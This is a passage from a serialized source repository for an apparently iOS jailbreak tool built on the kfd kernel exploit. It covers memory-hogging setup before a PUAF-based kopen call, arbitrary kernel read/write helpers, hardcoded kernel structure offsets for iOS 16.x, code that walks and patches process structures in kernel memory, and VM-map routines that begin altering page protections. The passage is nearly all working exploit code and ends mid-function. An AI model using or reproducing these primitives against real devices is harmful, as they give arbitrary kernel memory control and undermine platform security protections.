NSLog(CFSTR(\"[memoryHogger] The memory limit for pid %d has been set to %u MiB successfully\"), getpid(), new_memory_limit);\n                    printf(\"[memoryHogger] The memory limit for pid %d has been set to %u MiB successfully\\n\", getpid(), new_memory_limit);\n                } else {\n                    NSLog(CFSTR(\"[memoryHogger] Failed to set memory limit: %d (%s)\"), errno, strerror(errno));\n                    printf(\"[memoryHogger] Failed to set memory limit: %d (%s)\\n\", errno, strerror(errno));\n                }\n            } else {\n                NSLog(CFSTR(\"[memoryHogger] could not get current memory limits\"));\n                printf(\"[memoryHogger] could not get current memory limits\\n\");\n            }\n        }\n        if (memory_avail > hog_headroom) {\n            memory_hog = malloc(memory_to_hog);\n            if (memory_hog != NULL) {\n                for (uint64_t i = 0; i < memory_to_hog / sizeof(uint64_t); i++) {\n                    memory_hog[i] = 0x4141414141414141;\n                }\n            }\n            NSLog(CFSTR(\"[memoryHogger] Filled up hogged memory with A's\"));\n            printf(\"[memoryHogger] Filled up hogged memory with A's\\n\");\n        } else {\n            NSLog(CFSTR(\"[memoryHogger] Did not hog memory because there is too little free memory\"));\n            printf(\"[memoryHogger] Did not hog memory because there is too little free memory\\n\");\n        }\n        printf(\"[*] Performing kopen\");\n        _kfd = kopen(puaf_pages, puaf_method, kread_method, kwrite_method);\n        \n        if (memory_hog) free(memory_hog);\n        if (old_memory_limit) {\n            // set the limit back because it affects os_proc_available_memory\n            int ret = memorystatus_control(MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT, getpid(), old_memory_limit, NULL, 0);\n            if (ret == 0) {\n                NSLog(CFSTR(\"[memoryHogger] The memory limit for pid %d has been set to %u MiB successfully\"), getpid(), old_memory_limit);\n                printf(\"[memoryHogger] The memory limit for pid %d has been set to %u MiB successfully\\n\", getpid(), old_memory_limit);\n            } else {\n                NSLog(CFSTR(\"[memoryHogger] Failed to set memory limit: %d (%s)\"), errno, strerror(errno));\n                printf(\"[memoryHogger] Failed to set memory limit: %d (%s)\\n\", errno, strerror(errno));\n            }\n        }\n    } else {\n        _kfd = kopen(puaf_pages, puaf_method, kread_method, kwrite_method);\n    }\n\n    return _kfd;\n}\n\nvoid do_kclose(void)\n{\n    printf(\"[*] Performing kclose\");\n    kclose((struct kfd*)(_kfd));\n}\n\nvoid do_kread(u64 kaddr, void* uaddr, u64 size)\n{\n    kread(_kfd, kaddr, uaddr, size);\n}\n\nvoid do_kwrite(void* uaddr, u64 kaddr, u64 size)\n{\n    kwrite(_kfd, uaddr, kaddr, size);\n}\n\nuint64_t get_kslide(void) {\n    return ((struct kfd*)_kfd)->perf.kernel_slide;\n}\n\nuint64_t get_kernproc(void) {\n    return ((struct kfd*)_kfd)->info.kaddr.kernel_proc;\n}\n\nuint8_t kread8(uint64_t where) {\n    uint8_t out;\n    kread(_kfd, where, &out, sizeof(uint8_t));\n    return out;\n}\nuint32_t kread16(uint64_t where) {\n    uint16_t out;\n    kread(_kfd, where, &out, sizeof(uint16_t));\n    return out;\n}\nuint32_t kread32(uint64_t where) {\n    uint32_t out;\n    kread(_kfd, where, &out, sizeof(uint32_t));\n    return out;\n}\nuint64_t kread64(uint64_t where) {\n    uint64_t out;\n    kread(_kfd, where, &out, sizeof(uint64_t));\n    return out;\n}\n\n//Thanks @jmpews\nuint64_t kread64_smr(uint64_t where) {\n    uint64_t value = kread64(where) | base_pac_mask;\n    if((value & 0x400000000000) != 0)\n        value &= 0xFFFFFFFFFFFFFFE0;\n    return value;\n}\n\nvoid kwrite8(uint64_t where, uint8_t what) {\n    uint8_t _buf[8] = {};\n    _buf[0] = what;\n    _buf[1] = kread8(where+1);\n    _buf[2] = kread8(where+2);\n    _buf[3] = kread8(where+3);\n    _buf[4] = kread8(where+4);\n    _buf[5] = kread8(where+5);\n    _buf[6] = kread8(where+6);\n    _buf[7] = kread8(where+7);\n    kwrite((u64)(_kfd), &_buf, where, sizeof(u64));\n}\n\nvoid kwrite16(uint64_t where, uint16_t what) {\n    u16 _buf[4] = {};\n    _buf[0] = what;\n    _buf[1] = kread16(where+2);\n    _buf[2] = kread16(where+4);\n    _buf[3] = kread16(where+6);\n    kwrite((u64)(_kfd), &_buf, where, sizeof(u64));\n}\n\nvoid kwrite32(uint64_t where, uint32_t what) {\n    u32 _buf[2] = {};\n    _buf[0] = what;\n    _buf[1] = kread32(where+4);\n    kwrite((u64)(_kfd), &_buf, where, sizeof(u64));\n}\nvoid kwrite64(uint64_t where, uint64_t what) {\n    u64 _buf[1] = {};\n    _buf[0] = what;\n    kwrite((u64)(_kfd), &_buf, where, sizeof(u64));\n}\n"
  },
  {
    "path": "usprebooter/fun/krw.h",
    "content": "//\n//  krw.h\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/29.\n//\n\n#ifndef krw_h\n#define krw_h\n\n#include <stdio.h>\n#include <stdbool.h>\n#include \"fun.h\"\n\n\nuint64_t do_kopen(uint64_t puaf_pages, uint64_t puaf_method, uint64_t kread_method, uint64_t kwrite_method, size_t headroom, bool use_headroom);\nvoid do_kclose(void);\nvoid do_kread(uint64_t kaddr, void* uaddr, uint64_t size);\nvoid do_kwrite(void* uaddr, uint64_t kaddr, uint64_t size);\nuint64_t get_kslide(void);\nuint64_t get_kernproc(void);\nuint8_t kread8(uint64_t where);\nuint32_t kread16(uint64_t where);\nuint32_t kread32(uint64_t where);\nuint64_t kread64(uint64_t where);\nuint64_t kread64_smr(uint64_t where);\nvoid kwrite8(uint64_t where, uint8_t what);\nvoid kwrite16(uint64_t where, uint16_t what);\nvoid kwrite32(uint64_t where, uint32_t what);\nvoid kwrite64(uint64_t where, uint64_t what);\n\n#endif /* krw_h */\n"
  },
  {
    "path": "usprebooter/fun/offsets.h",
    "content": "//\n//  offsets.h\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/29.\n//\n\n#include <stdio.h>\n\nextern uint32_t off_p_list_le_prev;\nextern uint32_t off_p_proc_ro;\nextern uint32_t off_p_ppid;\nextern uint32_t off_p_original_ppid;\nextern uint32_t off_p_pgrpid;\nextern uint32_t off_p_uid;\nextern uint32_t off_p_gid;\nextern uint32_t off_p_ruid;\nextern uint32_t off_p_rgid;\nextern uint32_t off_p_svuid;\nextern uint32_t off_p_svgid;\nextern uint32_t off_p_sessionid;\nextern uint32_t off_p_puniqueid;\nextern uint32_t off_p_pid;\nextern uint32_t off_p_pfd;\nextern uint32_t off_p_textvp;\nextern uint32_t off_p_name;\nextern uint32_t off_p_ro_p_csflags;\nextern uint32_t off_p_ro_p_ucred;\nextern uint32_t off_p_ro_pr_proc;\nextern uint32_t off_p_ro_pr_task;\nextern uint32_t off_p_ro_t_flags_ro;\nextern uint32_t off_u_cr_label;\nextern uint32_t off_u_cr_posix;\nextern uint32_t off_cr_uid;\nextern uint32_t off_cr_ruid;\nextern uint32_t off_cr_svuid;\nextern uint32_t off_cr_ngroups;\nextern uint32_t off_cr_groups;\nextern uint32_t off_cr_rgid;\nextern uint32_t off_cr_svgid;\nextern uint32_t off_cr_gmuid;\nextern uint32_t off_cr_flags;\nextern uint32_t off_task_t_flags;\nextern uint32_t off_task_itk_space;\nextern uint32_t off_fd_ofiles;\nextern uint32_t off_fd_cdir;\nextern uint32_t off_fp_glob;\nextern uint32_t off_fg_data;\nextern uint32_t off_fg_flag;\nextern uint32_t off_vnode_v_ncchildren_tqh_first;\nextern uint32_t off_vnode_v_iocount;\nextern uint32_t off_vnode_v_usecount;\nextern uint32_t off_vnode_v_flag;\nextern uint32_t off_vnode_v_name;\nextern uint32_t off_vnode_v_mount;\nextern uint32_t off_vnode_v_data;\nextern uint32_t off_vnode_v_kusecount;\nextern uint32_t off_vnode_v_references;\nextern uint32_t off_vnode_v_lflag;\nextern uint32_t off_vnode_v_owner;\nextern uint32_t off_vnode_v_parent;\nextern uint32_t off_vnode_v_label;\nextern uint32_t off_vnode_v_cred;\nextern uint32_t off_vnode_v_writecount;\nextern uint32_t off_vnode_v_type;\nextern uint32_t off_vnode_vu_ubcinfo;\nextern uint32_t off_mount_mnt_data;\nextern uint32_t off_mount_mnt_fsowner;\nextern uint32_t off_mount_mnt_fsgroup;\nextern uint32_t off_mount_mnt_devvp;\nextern uint32_t off_mount_mnt_flag;\nextern uint32_t off_specinfo_si_flags;\nextern uint32_t off_namecache_nc_vp;\nextern uint32_t off_namecache_nc_child_tqe_prev;\nextern uint32_t off_ipc_space_is_table;\nextern uint32_t off_ubc_info_cs_blobs;\nextern uint32_t off_ubc_info_cs_add_gen;\nextern uint32_t off_cs_blob_csb_pmap_cs_entry;\nextern uint32_t off_cs_blob_csb_cdhash;\nextern uint32_t off_cs_blob_csb_flags;\nextern uint32_t off_cs_blob_csb_teamid;\nextern uint32_t off_cs_blob_csb_validation_category;\nextern uint32_t off_pmap_cs_code_directory_ce_ctx;\nextern uint32_t off_pmap_cs_code_directory_der_entitlements_size;\nextern uint32_t off_pmap_cs_code_directory_trust;\nextern uint32_t off_ipc_entry_ie_object;\nextern uint32_t off_ipc_object_io_bits;\nextern uint32_t off_ipc_object_io_references;\nextern uint32_t off_ipc_port_ip_kobject;\n\nvoid _offsets_init(void);\n"
  },
  {
    "path": "usprebooter/fun/offsets.m",
    "content": "//\n//  offsets.c\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/29.\n//\n\n#include \"offsets.h\"\n#include <UIKit/UIKit.h>\n#include <Foundation/Foundation.h>\n\nuint32_t off_p_list_le_prev = 0;\nuint32_t off_p_proc_ro = 0;\nuint32_t off_p_ppid = 0;\nuint32_t off_p_original_ppid = 0;\nuint32_t off_p_pgrpid = 0;\nuint32_t off_p_uid = 0;\nuint32_t off_p_gid = 0;\nuint32_t off_p_ruid = 0;\nuint32_t off_p_rgid = 0;\nuint32_t off_p_svuid = 0;\nuint32_t off_p_svgid = 0;\nuint32_t off_p_sessionid = 0;\nuint32_t off_p_puniqueid = 0;\nuint32_t off_p_pid = 0;\nuint32_t off_p_pfd = 0;\nuint32_t off_p_textvp = 0;\nuint32_t off_p_name = 0;\nuint32_t off_p_ro_p_csflags = 0;\nuint32_t off_p_ro_p_ucred = 0;\nuint32_t off_p_ro_pr_proc = 0;\nuint32_t off_p_ro_pr_task = 0;\nuint32_t off_p_ro_t_flags_ro = 0;\nuint32_t off_u_cr_label = 0;\nuint32_t off_u_cr_posix = 0;\nuint32_t off_cr_uid = 0;\nuint32_t off_cr_ruid = 0;\nuint32_t off_cr_svuid = 0;\nuint32_t off_cr_ngroups = 0;\nuint32_t off_cr_groups = 0;\nuint32_t off_cr_rgid = 0;\nuint32_t off_cr_svgid = 0;\nuint32_t off_cr_gmuid = 0;\nuint32_t off_cr_flags = 0;\nuint32_t off_task_t_flags = 0;\nuint32_t off_fd_ofiles = 0;\nuint32_t off_fd_cdir = 0;\nuint32_t off_fp_glob = 0;\nuint32_t off_fg_data = 0;\nuint32_t off_fg_flag = 0;\nuint32_t off_vnode_v_ncchildren_tqh_first = 0;\nuint32_t off_vnode_v_iocount = 0;\nuint32_t off_vnode_v_usecount = 0;\nuint32_t off_vnode_v_flag = 0;\nuint32_t off_vnode_v_name = 0;\nuint32_t off_vnode_v_mount = 0;\nuint32_t off_vnode_v_data = 0;\nuint32_t off_vnode_v_kusecount = 0;\nuint32_t off_vnode_v_references = 0;\nuint32_t off_vnode_v_parent = 0;\nuint32_t off_vnode_v_label = 0;\nuint32_t off_vnode_v_cred = 0;\nuint32_t off_vnode_v_writecount = 0;\nuint32_t off_vnode_v_type = 0;\nuint32_t off_mount_mnt_data = 0;\nuint32_t off_mount_mnt_fsowner = 0;\nuint32_t off_mount_mnt_fsgroup = 0;\nuint32_t off_mount_mnt_devvp = 0;\nuint32_t off_mount_mnt_flag = 0;\nuint32_t off_specinfo_si_flags = 0;\nuint32_t off_namecache_nc_vp = 0;\nuint32_t off_namecache_nc_child_tqe_prev = 0;\n\n#define SYSTEM_VERSION_EQUAL_TO(v)                  ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame)\n\nvoid _offsets_init(void) {\n    if(SYSTEM_VERSION_EQUAL_TO(@\"16.1.2\")||SYSTEM_VERSION_EQUAL_TO(@\"16.2\")||SYSTEM_VERSION_EQUAL_TO(@\"16.3\")||SYSTEM_VERSION_EQUAL_TO(@\"16.3.1\")) {\n        NSLog(@\"[i] offsets selected for iOS 16.1.2\");\n        //iPhone 14 Pro 16.1.2 offsets\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_internal.h#L273\n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/queue.h#L487\n        off_p_list_le_prev = 0x8;\n        off_p_proc_ro = 0x18;\n        off_p_ppid = 0x20;\n        off_p_original_ppid = 0x24;\n        off_p_pgrpid = 0x28;\n        off_p_uid = 0x2c;\n        off_p_gid = 0x30;\n        off_p_ruid = 0x34;\n        off_p_rgid = 0x38;\n        off_p_svuid = 0x3c;\n        off_p_svgid = 0x40;\n        off_p_sessionid = 0x44;\n        off_p_puniqueid = 0x48;\n        off_p_pid = 0x60;\n        off_p_pfd = 0xf8;\n        off_p_textvp = 0x350;\n        off_p_name = 0x381;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_ro.h#L59\n        off_p_ro_p_csflags = 0x1c;\n        off_p_ro_p_ucred = 0x20;\n        off_p_ro_pr_proc = 0;\n        off_p_ro_pr_task = 0x8;\n        off_p_ro_t_flags_ro = 0x78;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L91\n        off_u_cr_label = 0x78;\n        off_u_cr_posix = 0x18;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L100\n        off_cr_uid = 0;\n        off_cr_ruid = 0x4;\n        off_cr_svuid = 0x8;\n        off_cr_ngroups = 0xc;\n        off_cr_groups = 0x10;\n        off_cr_rgid = 0x50;\n        off_cr_svgid = 0x54;\n        off_cr_gmuid = 0x58;\n        off_cr_flags = 0x5c;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/kern/task.h#L280\n        off_task_t_flags = 0x3D0;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/filedesc.h#L138\n        off_fd_ofiles = 0;\n        off_fd_cdir = 0x20; //  new one! https://github.com/Baw-Appie/KernBypass/blob/69e5ae6baf04d0978358feee57eca8b8bc1382ed/kernel.h#L390 try these\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L125\n        off_fp_glob = 0x10;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L179\n        off_fg_data = 0x38;\n        off_fg_flag = 0x10;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/vnode_internal.h#L158\n        off_vnode_v_ncchildren_tqh_first = 0x30;\n        off_vnode_v_iocount = 0x64;\n        off_vnode_v_usecount = 0x60;\n        off_vnode_v_flag = 0x54;\n        off_vnode_v_name = 0xb8;\n        off_vnode_v_mount = 0xD8;\n        off_vnode_v_data = 0xe0;\n        off_vnode_v_kusecount = 0x5c;\n        off_vnode_v_references = 0x5b;\n        off_vnode_v_parent = 0xc0;\n        off_vnode_v_label = 0xe8;\n        off_vnode_v_cred = 0x98;\n        off_vnode_v_writecount = 0xb0;\n        off_vnode_v_type = 0x70;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/main/bsd/sys/mount_internal.h#L108\n        off_mount_mnt_data = 0x11F;\n        off_mount_mnt_fsowner = 0x9c0;\n        off_mount_mnt_fsgroup = 0x9c4;\n        off_mount_mnt_devvp = 0x980;\n        off_mount_mnt_flag = 0x70;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/miscfs/specfs/specdev.h#L77\n        off_specinfo_si_flags = 0x10;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/namei.h#L243\n        off_namecache_nc_vp = 0x48;\n        off_namecache_nc_child_tqe_prev = 0x10;\n        \n    } else if (SYSTEM_VERSION_EQUAL_TO(@\"16.7.2\")||SYSTEM_VERSION_EQUAL_TO(@\"16.7.1\")||SYSTEM_VERSION_EQUAL_TO(@\"16.7\")||SYSTEM_VERSION_EQUAL_TO(@\"16.6.1\")||SYSTEM_VERSION_EQUAL_TO(@\"16.6\")||SYSTEM_VERSION_EQUAL_TO(@\"16.4\")||SYSTEM_VERSION_EQUAL_TO(@\"16.4.1\")||SYSTEM_VERSION_EQUAL_TO(@\"16.5\") || SYSTEM_VERSION_EQUAL_TO(@\"16.5.1\")) {\n        NSLog(@\"[i] offsets selected for iOS 16.6\");\n        //iPhone 11 Pro 16.6 offsets\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_internal.h#L273\n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/queue.h#L487\n        off_p_list_le_prev = 0x8;\n        off_p_proc_ro = 0x18;\n        off_p_ppid = 0x20;\n        off_p_original_ppid = 0x24;\n        off_p_pgrpid = 0x28;\n        off_p_uid = 0x2c;\n        off_p_gid = 0x30;\n        off_p_ruid = 0x34;\n        off_p_rgid = 0x38;\n        off_p_svuid = 0x3c;\n        off_p_svgid = 0x40;\n        off_p_sessionid = 0x44;\n        off_p_puniqueid = 0x48;\n        off_p_pid = 0x60;\n        off_p_pfd = 0xf8;\n        off_p_textvp = 0x548;\n        off_p_name = 0x381;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_ro.h#L59\n        off_p_ro_p_csflags = 0x1c;\n        off_p_ro_p_ucred = 0x20;\n        off_p_ro_pr_proc = 0;\n        off_p_ro_pr_task = 0x8;\n        off_p_ro_t_flags_ro = 0x78;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L91\n        off_u_cr_label = 0x78;\n        off_u_cr_posix = 0x18;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L100\n        off_cr_uid = 0;\n        off_cr_ruid = 0x4;\n        off_cr_svuid = 0x8;\n        off_cr_ngroups = 0xc;\n        off_cr_groups = 0x10;\n        off_cr_rgid = 0x50;\n        off_cr_svgid = 0x54;\n        off_cr_gmuid = 0x58;\n        off_cr_flags = 0x5c;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/kern/task.h#L280\n        off_task_t_flags = 0x3D0;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/filedesc.h#L138\n        off_fd_ofiles = 0;\n        off_fd_cdir = 0x20; //  new one! https://github.com/Baw-Appie/KernBypass/blob/69e5ae6baf04d0978358feee57eca8b8bc1382ed/kernel.h#L390 try these\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L125\n        off_fp_glob = 0x10;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L179\n        off_fg_data = 0x38;\n        off_fg_flag = 0x10;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/vnode_internal.h#L158\n        off_vnode_v_ncchildren_tqh_first = 0x30;\n        off_vnode_v_iocount = 0x64;\n        off_vnode_v_usecount = 0x60;\n        off_vnode_v_flag = 0x54;\n        off_vnode_v_name = 0xb8;\n        off_vnode_v_mount = 0xd8;\n        off_vnode_v_data = 0xe0;\n        off_vnode_v_kusecount = 0x5c;\n        off_vnode_v_references = 0x5b;\n        off_vnode_v_parent = 0xc0;\n        off_vnode_v_label = 0xe8;\n        off_vnode_v_cred = 0x98;\n        off_vnode_v_writecount = 0xb0;\n        off_vnode_v_type = 0x70;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/main/bsd/sys/mount_internal.h#L108\n        off_mount_mnt_data = 0x11F;\n        off_mount_mnt_fsowner = 0x9c0;\n        off_mount_mnt_fsgroup = 0x9c4;\n        off_mount_mnt_devvp = 0x980;\n        off_mount_mnt_flag = 0x70;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/miscfs/specfs/specdev.h#L77\n        off_specinfo_si_flags = 0x10;\n        \n        //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/namei.h#L243\n        off_namecache_nc_vp = 0x48;\n        off_namecache_nc_child_tqe_prev = 0x0;\n        \n    }else {\n        NSLog(@\"[-] No matching offsets.\");\n        exit(EXIT_FAILURE);\n    }\n}\n"
  },
  {
    "path": "usprebooter/fun/proc.c",
    "content": "//\n//  proc.c\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/29.\n//\n\n#include \"proc.h\"\n#include \"offsets.h\"\n#include \"krw.h\"\n#include <stdbool.h>\n#include <string.h>\n#include <unistd.h>\n#include <CoreFoundation/CoreFoundation.h>\n\nvoid NSLog(CFStringRef, ...);\n\nuint64_t getProc(pid_t pid) {\n    uint64_t proc = get_kernproc();\n    \n    while (true) {\n        if(kread32(proc + off_p_pid) == pid) {\n            return proc;\n        }\n        proc = kread64(proc + off_p_list_le_prev);\n        if(!proc) {\n            return -1;\n        }\n    }\n    \n    return 0;\n}\n\nuint64_t getProcByName(char* nm) {\n    uint64_t proc = get_kernproc();\n    \n    while (true) {\n        uint64_t nameptr = proc + off_p_name;\n        char name[32];\n        do_kread(nameptr, &name, 32);\n//        NSLog(CFSTR(\"[i] pid: %d, process name: %s\"), kread32(proc + off_p_pid), name);\n        if(strcmp(name, nm) == 0) {\n            return proc;\n        }\n        proc = kread64(proc + off_p_list_le_prev);\n        if(!proc) {\n            return -1;\n        }\n    }\n    \n    return 0;\n}\n\nint getPidByName(char* nm) {\n    uint64_t proc = getProcByName(nm);\n    if(proc == -1) return -1;\n    return kread32(proc + off_p_pid);\n}\n\nint funProc(uint64_t proc) {\n    int p_ppid = kread32(proc + off_p_ppid);\n    NSLog(CFSTR(\"[i] self proc->p_ppid: %d\\n\"), p_ppid);\n    NSLog(CFSTR(\"[i] Patching proc->p_ppid %d -> 1 (for testing kwrite32, getppid)\"), p_ppid);\n    kwrite32(proc + off_p_ppid, 0x1);\n    NSLog(CFSTR(\"[+] Patched getppid(): %u\"), getppid());\n    kwrite32(proc + off_p_ppid, p_ppid);\n    NSLog(CFSTR(\"[+] Restored getppid(): %u\"), getppid());\n\n    int p_original_ppid = kread32(proc + off_p_original_ppid);\n    NSLog(CFSTR(\"[i] self proc->p_original_ppid: %d\"), p_original_ppid);\n    \n    int p_pgrpid = kread32(proc + off_p_pgrpid);\n    NSLog(CFSTR(\"[i] self proc->p_pgrpid: %d\"), p_pgrpid);\n    \n    int p_uid = kread32(proc + off_p_uid);\n    NSLog(CFSTR(\"[i] self proc->p_uid: %d\"), p_uid);\n    \n    int p_gid = kread32(proc + off_p_gid);\n    NSLog(CFSTR(\"[i] self proc->p_gid: %d\"), p_gid);\n    \n    int p_ruid = kread32(proc + off_p_ruid);\n    NSLog(CFSTR(\"[i] self proc->p_ruid: %d\"), p_ruid);\n    \n    int p_rgid = kread32(proc + off_p_rgid);\n    NSLog(CFSTR(\"[i] self proc->p_rgid: %d\"), p_rgid);\n    \n    int p_svuid = kread32(proc + off_p_svuid);\n    NSLog(CFSTR(\"[i] self proc->p_svuid: %d\"), p_svuid);\n    \n    int p_svgid = kread32(proc + off_p_svgid);\n    NSLog(CFSTR(\"[i] self proc->p_svgid: %d\"), p_svgid);\n    \n    int p_sessionid = kread32(proc + off_p_sessionid);\n    NSLog(CFSTR(\"[i] self proc->p_sessionid: %d\"), p_sessionid);\n    \n    uint64_t p_puniqueid = kread64(proc + off_p_puniqueid);\n    NSLog(CFSTR(\"[i] self proc->p_puniqueid: 0x%llx\"), p_puniqueid);\n    \n    NSLog(CFSTR(\"[i] Patching proc->p_puniqueid 0x%llx -> 0x4142434445464748 (for testing kwrite64)\"), p_puniqueid);\n    kwrite64(proc + off_p_puniqueid, 0x4142434445464748);\n    NSLog(CFSTR(\"[+] Patched self proc->p_puniqueid: 0x%llx\"), kread64(proc + off_p_puniqueid));\n    kwrite64(proc + off_p_puniqueid, p_puniqueid);\n    NSLog(CFSTR(\"[+] Restored self proc->p_puniqueid: 0x%llx\"), kread64(proc + off_p_puniqueid));\n    \n    return 0;\n}\n"
  },
  {
    "path": "usprebooter/fun/proc.h",
    "content": "//\n//  proc.h\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/29.\n//\n\n#include <stdio.h>\n\nuint64_t getProc(pid_t pid);\nuint64_t getProcByName(char* nm);\nint getPidByName(char* nm);\n\nint funProc(uint64_t proc);\n"
  },
  {
    "path": "usprebooter/fun/thanks_opa334dev_htrowii.h",
    "content": "//\n//  thanks_opa334dev_htrowii.h\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/30.\n//\n#import <Foundation/Foundation.h>\n\nuint64_t funVnodeOverwrite2(char* tofile, char* fromfile);\nvoid kreadbuf(uint64_t kaddr, void* output, size_t size);\nuint64_t getTask(void);\n"
  },
  {
    "path": "usprebooter/fun/thanks_opa334dev_htrowii.m",
    "content": "//\n//  thanks_opa334dev_htrowii.m\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/30.\n//\n\n#import <Foundation/Foundation.h>\n#import <sys/mman.h>\n#import <UIKit/UIKit.h>\n#import \"krw.h\"\n#import \"proc.h\"\n#import \"common.h\"\n\n#define FLAGS_PROT_SHIFT    7\n#define FLAGS_MAXPROT_SHIFT 11\n//#define FLAGS_PROT_MASK     0xF << FLAGS_PROT_SHIFT\n//#define FLAGS_MAXPROT_MASK  0xF << FLAGS_MAXPROT_SHIFT\n#define FLAGS_PROT_MASK    0x780\n#define FLAGS_MAXPROT_MASK 0x7800\n\n// https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/mman.h#L143 from wh1te4ever/xsf1re\n#define MS_INVALIDATE   0x0002  /* [MF|SIO] invalidate all cached data https://openradar.appspot.com/FB8914231 My favorite: you can call msync(…, MS_INVALIDATE) on the mmaped region, asking xnu to throw away what it knows about the vnode. If you compile mmap_copy.cc with MMAP_COPY_MSYNC_INVALIDATE defined, it will do this. You can even use this technique to “save” a broken vnode from an entirely different process by opening the file,mmaping it, and then calling msync. */\n\n\nu64 getTask(void) {\n    u64 proc = getProc(getpid());\n    u64 proc_ro = kread64(proc + 0x18);\n    u64 pr_task = kread64(proc_ro + 0x8);\n    NSLog(@\"[i] self proc->proc_ro->pr_task: 0x%llx\", pr_task);\n    return pr_task;\n}\n\nu64 kread_ptr(u64 kaddr) {\n    u64 ptr = kread64(kaddr);\n    if ((ptr >> 55) & 1) {\n        return ptr | base_pac_mask;\n    }\n\n    return ptr;\n}\n\nvoid kreadbuf(u64 kaddr, void* output, size_t size)\n{\n    u64 endAddr = kaddr + size;\n    uint32_t outputOffset = 0;\n    unsigned char* outputBytes = (unsigned char*)output;\n    \n    for(u64 curAddr = kaddr; curAddr < endAddr; curAddr += 4)\n    {\n        uint32_t k = kread32(curAddr);\n\n        unsigned char* kb = (unsigned char*)&k;\n        for(int i = 0; i < 4; i++)\n        {\n            if(outputOffset == size) break;\n            outputBytes[outputOffset] = kb[i];\n            outputOffset++;\n        }\n        if(outputOffset == size) break;\n    }\n}\n\nu64 vm_map_get_header(u64 vm_map_ptr)\n{\n    return vm_map_ptr + 0x10;\n}\n\nu64 vm_map_header_get_first_entry(u64 vm_header_ptr)\n{\n    return kread_ptr(vm_header_ptr + 0x8);\n}\n\nu64 vm_map_entry_get_next_entry(u64 vm_entry_ptr)\n{\n    return kread_ptr(vm_entry_ptr + 0x8);\n}\n\n\nuint32_t vm_header_get_nentries(u64 vm_header_ptr)\n{\n    return kread32(vm_header_ptr + 0x20);\n}\n\nvoid vm_entry_get_range(u64 vm_entry_ptr, u64 *start_address_out, u64 *end_address_out)\n{\n    u64 range[2];\n    usleep(350);\n    kreadbuf(vm_entry_ptr + 0x10, &range[0], sizeof(range));\n    if (start_address_out) *start_address_out = range[0];\n    if (end_address_out) *end_address_out = range[1];\n}\n\n\n//void vm_map_iterate_entries(u64 vm_map_ptr, void (^itBlock)(u64 start, u64 end, u64 entry, BOOL *stop))\nvoid vm_map_iterate_entries(u64 vm_map_ptr, void (^itBlock)(u64 start, u64 end, u64 entry, BOOL *stop))\n{\n    u64 header = vm_map_get_header(vm_map_ptr);\n    u64 entry = vm_map_header_get_first_entry(header);\n    u64 numEntries = vm_header_get_nentries(header);\n\n    while (entry != 0 && numEntries > 0) {\n        u64 start = 0, end = 0;\n        vm_entry_get_range(entry, &start, &end);\n\n        BOOL stop = NO;\n        itBlock(start, end, entry, &stop);\n        if (stop) break;\n\n        entry = vm_map_entry_get_next_entry(entry);\n        numEntries--;\n    }\n}\n\nu64 vm_map_find_entry(u64 vm_map_ptr, u64 address)\n{\n    __block u64 found_entry = 0;\n    usleep(350);\n        vm_map_iterate_entries(vm_map_ptr, ^(u64 start, u64 end, u64 entry, BOOL *stop) {\n            if (address >= start && address < end) {\n                found_entry = entry;\n                *stop = YES;\n            }\n        });\n        return found_entry;\n}\n\nvoid vm_map_entry_set_prot(u64 entry_ptr, vm_prot_t prot, vm_prot_t max_prot)\n{\n    u64 flags = kread64(entry_ptr + 0x48);\n    u64 new_flags = flags;\n    new_flags = (new_flags & ~FLAGS_PROT_MASK) | ((u64)prot << FLAGS_PROT_SHIFT);\n   